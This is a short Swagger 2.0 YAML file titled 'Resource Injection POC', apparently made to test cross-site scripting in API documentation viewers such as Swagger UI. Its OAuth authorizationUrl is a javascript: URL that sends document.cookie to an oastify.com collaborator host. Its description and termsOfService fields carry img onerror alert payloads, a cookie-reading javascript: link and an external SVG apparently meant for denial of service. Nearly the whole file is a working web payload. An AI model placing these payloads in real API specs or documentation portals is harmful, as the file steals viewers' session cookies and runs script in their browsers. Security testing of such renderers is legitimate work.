swaggerHit.yaml

swagger: '2.0'
securityDefinitions:
  a:
    type: oauth2
    authorizationUrl: javascript:location.href='http://an1iwti6fonzqml5ihvwngy9f0lr9jx8.oastify.com?cookie='+document.cookie//
info:
  version: "0.0.1 <img src='https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg'>"
  title: Resource Injection POC
  description: <h1>Iframe Injection</h1><img src="https://gist.githubusercontent.com/sh4nx0r/6654b12147010cef4261a52464cb596c/raw/28c842a80417139ad3af214581fd4d3d17544ec9/svgdos.svg" onerror=alert(1)>
  termsOfService: "javascript:alert(document.cookie)"
paths:
  /:
    get:
      responses:
        200:
          description: <img src="https://miro.medium.com/v2/resize:fit:743/1*N6OtdkXNnYYyDhaQkG8Ydg.jpeg" onerror=alert(1)>
        404:
          description: <img src=x onerror=alert(1)/>